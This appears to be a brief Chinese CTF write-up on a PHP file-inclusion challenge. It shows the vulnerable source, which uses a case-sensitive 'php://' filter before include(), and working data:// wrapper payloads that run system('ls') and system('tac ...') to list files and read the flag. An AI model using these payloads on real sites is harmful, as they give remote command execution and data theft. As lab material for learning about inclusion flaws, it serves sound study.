payload:不过滤大小写,让page=php://
?page=data:text/plain,<?php system("ls") ?>
?page=data:text/plain,<?php system("tac fl4gisisish3r3.php") ?>
data伪协议
本例特殊之处在于: 知道文件, 但是 调用 cat、tail、 less、more 并不能显示文件内容,但是 有一个命令 tac:将文件全部内容从尾到头反向连续输出到标准输出(屏幕)上
通过代码知道是文件包含漏洞
https://blog.youkuaiyun.com/Vansnc/article/details/82528395(漏洞分析的网址)
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page']; /($page变量等于网页获取到的page)
while (strstr($page, "php://")) { /(判断php://是否出现在page变量中,这个函数对大小写敏感)
$page=str_replace("php://", "", $page); /(把$page变量中的php://替换成空格,“”就是空格)
}
include($page);
?>
payload:?page=data:text/plain,<?php system("ls");?> 看文件目录
?page=data:text/plain,<?php system("文件名字");?> f12源码里有flag
本文介绍了一种利用文件包含漏洞的技术,通过构造特定payload,即使在cat、tail等命令无法直接显示文件内容的情况下,也能使用tac命令从尾到头反向输出文件,从而读取目标文件的内容。
4078

被折叠的 条评论
为什么被折叠?



